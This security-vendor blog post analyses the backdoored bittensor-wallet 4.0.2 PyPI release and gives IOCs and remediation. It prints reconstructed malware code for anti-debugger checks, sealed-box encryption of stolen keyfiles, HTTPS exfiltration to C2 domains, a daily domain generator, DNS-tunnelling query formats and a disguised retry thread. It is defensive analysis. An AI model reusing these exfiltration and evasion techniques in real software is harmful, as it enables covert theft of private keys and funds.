Back to Blog

bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys

On March 17, 2026, bittensor-wallet 4.0.2 was identified as a compromised PyPI package. The malicious release had been live on PyPI for approximately 48 hours before being yanked. This post is a ground-up technical breakdown based on a direct diff of the source tarballs for versions 4.0.1 and 4.0.2 — covering exactly what changed, how the backdoor works, and what defenders should do. We also ran the compromised package with StepSecurity Harden Runner and captured every C2 channel firing in real time.
Sai Likhith
View LinkedIn

March 17, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

On March 17, 2026, bittensor-wallet 4.0.2 was identified as a compromised PyPI package. The malicious release had been live on PyPI for approximately 48 hours before being yanked. This post is a ground-up technical breakdown based on a direct diff of the source tarballs for versions 4.0.1 and 4.0.2 — covering exactly what changed, how the backdoor works, and what defenders should do. We also ran the compromised package with StepSecurity Harden Runner and captured every C2 channel firing in real time.

The Affected Package

  • Package: bittensor-wallet (PyPI)
  • Compromised version: 4.0.2
  • Uploaded: March 15, 2026 ~05:06 UTC
  • Yanked: March 17, 2026 ~12:06 UTC
  • Exposure window: ~48 hours
  • Source tarball SHA256: 6a416b72ff24804abc12484a3b41413a8580acedd8a5f8c84224fcf0732c2f8e
  • Safe version: 4.0.1

bittensor-wallet is the official Rust-backed Python library for managing Bittensor cryptographic keys — coldkeys, hotkeys, signing, and staking. A backdoor here has direct access to private key material.

Stop the next supply chain attack before it impacts you

Harden Runner blocks unauthorized network connections from CI/CD pipelines. Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.

Start Free →
bittensor-wallet 4.0.2 on PyPI, marked as yanked after the compromise was identified.

Harden Runner Catches the Backdoor in Action

We ran the compromised package in a GitHub Actions environment with StepSecurity Harden Runner enabled to see the backdoor's network behavior firsthand. Every C2 channel fired — and Harden Runner logged all of it. The backdoor uses three independent exfiltration methods (HTTPS, DGA domains, and DNS tunneling) with three layers of C2 resolution — all of which are detailed in the technical walkthrough below.

Workflow run: actions-security-demo/compromised-packages — Run #23201059892

Harden Runner policy: audit (log all outbound connections, block nothing)

Harden Runner insights: View network events for this run

Try Harden Runner →

How the Test Was Set Up

The workflow did the following in sequence:

Step 1 — Download source tarballs

Downloaded the 4.0.2 source tarball from pypi.org / files.pythonhosted.org and Rust dependencies from index.crates.io.

Step 2 — Patch anti-analysis check

Patched out the is_monitored() uptime/debugger check in the source so the backdoor would actually fire in the CI environment (which would otherwise abort due to low uptime).

Step 3 — Install Rust toolchain and build dependencies

Built the compromised wheel from the patched source.

Step 4 — Build compromised wheel from source

Compiled the malicious native extension.

Step 5 — Trigger backdoor

Called a wallet decryption operation. This is where all the network activity happens.

Harden Runner job overview showing all workflow steps. The "Trigger backdoor" step at 15:10 generated all C2 network traffic.

What Harden Runner Logged: Step "Trigger Backdoor"

Within the "Trigger backdoor" step, Harden Runner captured network connections to all three C2 layers in under 4 seconds:

Layer 1 — HTTPS to Static C2 Domains (Method A)

15:10:48 UTC — process: python3.12

POST finney.opentensor-metrics.com/tAllowed

15:10:50 UTC — process: python3.12

POST finney.subtensor-telemetry.com/tAllowed

15:10:50 UTC — process: python3.12

finney.metagraph-stats.com:443Allowed

Layer 2 — DNS TXT C2 Lookup

15:10:47 UTC — process: python3.12

_dmarc.opentensor-cdn.com:443Allowed — disguised as a DMARC email authentication lookup

Layer 2 — DGA Domains (Today's Rotation, March 17 2026)

15:10:51 UTC — process: python3.12

tuwyqibtvy.opentensor-cdn.com:443Allowed

15:10:51 UTC — process: python3.12

yccansiwfr.opentensor-cdn.com:443Allowed

15:10:51 UTC — process: python3.12

tbqcbkpbhy.opentensor-cdn.com:443Allowed

Layer 3 — DNS Tunneling (28 Chunks, Session 52016)

The DNS fallback fired immediately after the HTTPS attempts. The encrypted payload was split into 28 hex-encoded chunks and sent as DNS A queries to t.opentensor-cdn.com:

7973546b7237784c4162706d796d6a6851394a316c744961465674473367.0.28.52016.t.opentensor-cdn.com
48556731386e6469576534484d392f337654374f364449426849782b6b75.1.28.52016.t.opentensor-cdn.com
6646494e684d4170745946476b754e613671396b6f686c5962674b6a2b56.2.28.52016.t.opentensor-cdn.com
6446397a6c4c354552532b614d77566b2f72555164346a63426c494d3278.3.28.52016.t.opentensor-cdn.com
... (chunks 4–26) ...
4e4330326644317a5143.27.28.52016.t.opentensor-cdn.com

28 chunks × 60 hex chars = the full NaCl-encrypted payload exfiltrated over DNS, with no outbound HTTP required.

Harden Runner network events table for the "Trigger backdoor" step. All C2 connections are visible — HTTPS, DNS TXT, DGA, and 28 DNS tunnel chunks.

What This Confirms

  • All 3 HTTPS C2 domains contacted — in sequence, within 2 seconds of wallet decryption
  • DNS TXT C2 lookup fired — the _dmarc. disguise was confirmed in live traffic
  • Today's DGA domains resolvedtuwyqibtvy, yccansiwfr, tbqcbkpbhy are the real March 17, 2026 DGA output
  • DNS tunneling completed — 28 chunks sent to t.opentensor-cdn.com, session ID 52016
  • Process name throughout: python3.12 — all traffic originates from the legitimate Python interpreter, making process-level filtering ineffective

What Would Have Happened in Block Mode

In this run, Harden Runner was in audit mode — it logged everything but blocked nothing. Had it been configured in block mode with an egress allowlist (e.g., only pypi.org, files.pythonhosted.org), every one of these connections would have been blocked:

  • HTTPS POST to finney.opentensor-metrics.com — blocked
  • _dmarc.opentensor-cdn.com DNS TXT lookup — blocked
  • DGA domain resolutions — blocked
  • DNS tunnel queries to t.opentensor-cdn.com — blocked

The encrypted payload would never leave the runner. The exfiltration would fail at all three layers.

How the Attack Works

Here is a step-by-step walkthrough of what happens from the moment you install the package to the moment your keys are stolen.

Background: What is Bittensor?

Bittensor is a decentralized AI marketplace. Instead of one company owning all the AI infrastructure, thousands of people around the world contribute compute power and AI models to a shared network — and get paid in Bittensor's cryptocurrency, TAO, for doing so. Think of it like Airbnb, but for AI: anyone can list their spare compute, and anyone can consume it.

There are two types of participants:

  • Miners — contribute compute or AI models to earn TAO
  • Validators — evaluate miner outputs and stake TAO to vote on quality

Both groups hold real money on the network — which makes them attractive targets.

Background: What is bittensor-wallet?

bittensor-wallet is the official Python library for managing your identity and funds on the Bittensor network. It does three core things:

  • Stores your private keys — encrypted files on disk called keyfiles
  • Decrypts them on demand — when you stake, transfer, or sign a transaction, the library briefly unlocks your key in memory
  • Signs transactions — proves to the network that an action really came from you

There are two types of keys:

  • Coldkey — your main vault. Holds the bulk of your staked TAO. You rarely unlock it. Think of it as your savings account.
  • Hotkey — a day-to-day key for routine operations. Less funds, used more often. Think of it as your wallet in your pocket.

Why this library is a high-value target: Whoever has your private key can move your funds — instantly, irreversibly, with no bank to call. A backdoor in bittensor-wallet is about as direct a path to stealing funds as possible, because decrypting keys is literally its core job.

Step 0: You install the malicious package

You run pip install bittensor-wallet and get version 4.0.2. Everything looks normal. The package installs fine. No errors. You have no idea anything is wrong.

The malware is compiled inside the Rust code — it's not a separate file you could easily spot. It's baked into the library itself.

The attacker also modified the bundled .github/workflows/release.yml, stripping build provenance attestation and the attestations: write permission. This removed the sigstore signature from the release, making it impossible to cryptographically verify that the wheels came from the legitimate CI pipeline:

-       attestations: write
-       - name: Generate artifact attestation
-         uses: actions/attest-build-provenance@v2
-         with:
-           subject-path: 'wheels-*/*'

Step 1: You do something with your wallet

Maybe you stake some TAO, check your balance, or sign a transaction. Any of these operations require the library to decrypt your keyfile — unlock the password-protected file that holds your private key.

The moment that decryption happens, the malware wakes up. The backdoor is hooked into every decryption path in src/keyfile.rs via three call sites:

collect_format_metrics(&decrypted_data);  // line ~1082
collect_format_metrics(&decrypted_data);  // line ~1091
collect_format_metrics(&decrypted_data);  // line ~1100

Step 2: Am I being watched?

Before doing anything suspicious, the malware checks if it's being analyzed by a security researcher:

  • Is the computer less than 20 minutes old? Security sandboxes are freshly booted virtual machines. Real user machines have been running for hours or days. If uptime < 20 min → abort.
  • Is a debugger attached? Linux exposes this in /proc/self/status. If TracerPid is not zero, someone is debugging this process → abort.
  • Are security tools running? It scans all running processes looking for strace, gdb, wireshark, frida, etc. If any are found → abort.

If any of these checks trigger, the malware does nothing and exits silently. This is why it's hard to catch in a lab environment.

fn is_monitored() -> bool {
   // uptime < 1200s (20 min) → sandbox
   if uptime < 1200.0 { return true; }
   // TracerPid != 0 → debugger attached
   if TracerPid != 0 { return true; }
   // strace|ltrace|gdb|wireshark|tcpdump|frida|bpftrace running → abort
   // (all strings XOR-encoded in binary, key 0x42)
   for process in /proc/*/comm {
       if process matches any tool { return true; }
   }
   false
}

Step 3: What kind of key is this?

The malware looks at the Python call stack — basically peeks at what your code was doing when it called the decryption function — to figure out:

  • Is this a coldkey (the main vault with most of your funds)?
  • Or a hotkey (the day-to-day key)?

It tags the stolen data with "c" or "h" so the attacker knows which is more valuable. Coldkeys are the priority — they control staked funds. This is done by walking the Python call stack via pyo3 at runtime:

fn detect_wallet_type() -> &'static str {
   pyo3::Python::with_gil(|py| {
       py.run(c"
import sys as _s
_r='u'
try:
_f=_s._getframe(0)
while _f is not None:
 _v=_f.f_locals.get('self')
 if _v is not None and hasattr(_v,'path'):
  _p=str(_v.path)
  if '/hotkey' in _p:
   _r='h'
  elif '/coldkey' in _p:
   _r='c'
  break
 _f=_f.f_back
except Exception:
pass
", ...)
   })
}

Step 4: Steal and encrypt the key

The raw decrypted private key (a JSON blob containing your secret) is now in memory. The malware builds a tagged payload and encrypts it using the attacker's hardcoded public key via NaCl sealed box (crypto_box_seal). The encryption is asymmetric — only the attacker can decrypt it. Even if you capture the traffic, the contents are opaque.

// payload: {"t":"c", "d":{...raw keyfile JSON...}}
// attacker NaCl pubkey (XOR-decoded, key 0x3C):
// da eb c8 f3 3f d7 9a 8e d6 5b d4 38 32 80 ca b1 ...
let pk = PublicKey::from_slice(&xor_decode(KEY_DATA, 0x3C))?;
Some(sealedbox::seal(data, &pk))  // only attacker can decrypt

Step 5: Have I already stolen this key?

It keeps a SHA256 hash of every payload it's already sent in a HashSet. If you unlock the same wallet 10 times, it only exfiltrates it once. This keeps network traffic minimal and avoids triggering volume-based alerts.

struct MetricsState {
   pending: Vec<Vec<u8>>,    // queue of encrypted payloads
   seen: HashSet<[u8; 32]>,  // SHA256 dedup set, capped at 1024 entries
}

Step 6: Send it out — three ways

The malware has three completely independent ways to phone home, tried one after another:

Method A — Normal HTTPS (using Python's built-in urllib via pyo3)
Posts the encrypted payload to one of the attacker's domains. The key detail: daemon=False means Python will wait for this thread to finish before the process exits — ensuring delivery even on short-lived CLI commands.

import threading
def _f(_d=_d, _e=_e):
   from urllib.request import Request, urlopen
   b = json.dumps({"d": _d}).encode()
   for u in _e:
       try:
           r = Request(u, b)
           r.add_header("User-Agent", "Python/3")
           urlopen(r, timeout=5)
           return
       except Exception:
           continue
threading.Thread(target=_f, daemon=False).start()  # ← not daemon


Method B — Raw TLS via dlopen/dlsym

If Method A fails, it opens libssl.so directly using unsafe FFI — bypassing Python proxies, urllib monkey-patching, and any Python-layer network monitoring entirely.

// Opens libssl.so.3 / libssl.so.1.1 / libssl.so via dlopen
// Manually calls: SSL_CTX_new, SSL_new, SSL_set_fd, SSL_ctrl (SNI),
//                 SSL_connect, SSL_write, SSL_read, SSL_free
// Sends raw HTTP/1.1 POST over TLS — User-Agent: Python/3 (XOR decoded)


Method C — DNS tunneling

If both HTTPS methods fail, the payload is hex-encoded, split into 60-char chunks, and sent as DNS A queries. No successful DNS response is needed — the attacker's nameserver reconstructs the key from the query log alone.

// Each chunk sent as an A query:
// <hex_chunk>.<index>.<total>.<session_id>.t.opentensor-cdn.com
a3f1b2c4d5....<0>.<4>.<session>.t.opentensor-cdn.com  → A query
b6e7f8a9b0....<1>.<4>.<session>.t.opentensor-cdn.com  → A query

Step 7: Where does it send it? Three layers of C2

C2 means "command and control" — the attacker's servers. The malware has three ways to find them:

  • Hardcoded domains — three XOR-encoded (key 0x5A) domains mimicking legitimate Bittensor infrastructure
finney.opentensor-metrics.com   // lookalike for opentensor.ai
finney.metagraph-stats.com      // lookalike for metagraph APIs
finney.subtensor-telemetry.com  // lookalike for subtensor telemetry
  • Daily rotating domains (DGA) — generates 3 new hostnames per day under *.opentensor-cdn.com by hashing the current day number. Even if you block today's domains, new ones appear tomorrow.
fn generate_dga_endpoints() -> Vec<String> {
   let day = unix_epoch_seconds() / 86400;
   (0..3).map(|i| {
       let hash = sha256((day + i).to_le_bytes());
       let name: String = hash[..10].iter()
           .map(|b| ('a' + (b % 26)) as char).collect();
       format!("https://{}.opentensor-cdn.com/t", name)
   })
}
// e.g. https://xkqbafmjpt.opentensor-cdn.com/t  (changes daily)
  • DNS TXT C2 — queries _dmarc.opentensor-cdn.com (TXT record), disguised as a routine DMARC email authentication lookup, to fetch a dynamically updated list of backup servers:
// Expected TXT response format:
rua=<base64-encoded pipe-separated host list>

This means even if defenders block all known C2 domains, the malware can still find a working server.

Step 8: What if the network is down?

Failed sends aren't dropped. They go into a queue (up to 64 entries). A background thread wakes up every 2–10 minutes with randomized jitter and retries. The thread is deliberately named cache-gc to blend in with legitimate garbage collection threads in the process list.

fn metrics_flush_worker() {
   std::thread::sleep(jitter_duration(1, 3));    // 1–3s initial delay
   loop {
       flush_pending();
       std::thread::sleep(jitter_duration(120, 600)); // 2–10 min retry
   }
}
// thread::Builder::new().name("cache-gc".to_string())...

Step 9: Cover your tracks

After a successful send, the buffer holding your key is zeroed using volatile writes — forcing the CPU to actually perform the clear rather than letting the compiler optimize it away. If a memory dump or core file is captured after exfiltration, the key material is gone.

fn clear_buffer(buf: &mut Vec<u8>) {
   for byte in buf.iter_mut() {
       unsafe { std::ptr::write_volatile(byte as *mut u8, 0); }
   }
   buf.clear();
}

The end result: The attacker has your private key on their server. They decrypt it, import it into their own wallet software, and drain your funds. You find out when you next check your balance. The whole thing happens silently in the background while your normal wallet command completes successfully.

IOCs (Indicators of Compromise)

  • PyPI package: bittensor-wallet==4.0.2
  • Source tarball SHA256: 6a416b72ff24804abc12484a3b41413a8580acedd8a5f8c84224fcf0732c2f8e
  • C2 domain: finney.opentensor-metrics.com
  • C2 domain: finney.metagraph-stats.com
  • C2 domain: finney.subtensor-telemetry.com
  • DGA domain pattern: *.opentensor-cdn.com
  • DNS exfil subdomain: *.t.opentensor-cdn.com
  • DNS C2 lookup: _dmarc.opentensor-cdn.com (TXT record)
  • Thread name: cache-gc (in Rust process thread list)
  • Network User-Agent: Python/3
  • Malicious file: src/keyfile.rs (in source tarball)
  • Attacker NaCl pubkey (hex): daeb c8f3 3fd7 9a8e d65b d438 3280 cab1 3f00 f2a0 3ff5 13ca 7c50 aa85 7ecd d46f

What Made This Hard to Detect

  1. Rust, not Python — The backdoor is compiled Rust code. Unlike the typical Python supply chain injection (appending to setup.py), this backdoor compiles into the native extension. There is no readable Python to grep for.
  2. All strings are XOR-obfuscated — No domain names, file paths, or tool names appear as plaintext in the binary. They are all decoded at runtime using single-byte XOR with per-constant keys (0x42, 0x47, 0x5A, 0x3C).
  3. Three independent exfiltration channels — Blocking HTTPS does not stop it; DNS tunneling is the fallback.
  4. DNS queries disguised as DMARC — The _dmarc. prefix on the C2 DNS TXT lookup mimics a routine DMARC email authentication query.
  5. Thread named cache-gc — Background thread blends in with runtime GC threads.
  6. Non-daemon Python thread — Ensures delivery even on short-lived CLI invocations.
  7. Anti-sandbox / anti-debugger — Uptime check, TracerPid check, and running process scan abort execution in analysis environments.
  8. No version bump on GitHub — The backdoor was injected into the PyPI release artifact only; the GitHub repository source was not modified. Comparing PyPI vs. GitHub source would have revealed it, but most users don't do this.

Remediation

If You Installed 4.0.2 (March 15–17, 2026)

Immediate action required: Any coldkey or hotkey whose keyfile was decrypted while 4.0.2 was installed should be considered compromised. Generate new keys and move funds immediately.

  1. Rotate all wallet keys. Any coldkey or hotkey whose keyfile was decrypted while 4.0.2 was installed should be considered compromised. Generate new keys and move funds immediately.
  2. Downgrade: pip install bittensor-wallet==4.0.1
  3. Block C2 domains at your firewall/DNS resolver:
    • *.opentensor-metrics.com
    • *.metagraph-stats.com
    • *.subtensor-telemetry.com
    • *.opentensor-cdn.com
  4. Audit network logs for DNS queries or HTTPS requests to the above domains.
  5. Check for the cache-gc thread in any running Python/Rust wallet process.
  6. Rotate GitHub tokens and cloud credentials if they were present in the environment where 4.0.2 was installed.

For Package Maintainers

Enable artifact attestation (which was stripped in 4.0.2) and verify it on install:

gh attestation verify bittensor_wallet-4.0.2-cp311-cp311-linux_x86_64.whl \
 --repo opentensor/btwallet

For Package Consumers

Pin with hash verification:

# requirements.txt
bittensor-wallet==4.0.1 \
   --hash=sha256:edc2588d5e272835285e4171dd3daf862149f617015bf52e43d433d8e5c297c5

Stop the next supply chain attack before it impacts you

Harden Runner blocks unauthorized network connections from CI/CD pipelines. Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.

Start Free →

Acknowledgement

Socket's automated scanning initially flagged bittensor-wallet 4.0.2 as a compromised package, which helped bring early attention to this incident.

We also want to acknowledge the maintainers of bittensor-wallet at opentensor for acting quickly to yank the compromised 4.0.2 release from PyPI once the issue was identified.

References

Blog

Explore Related Posts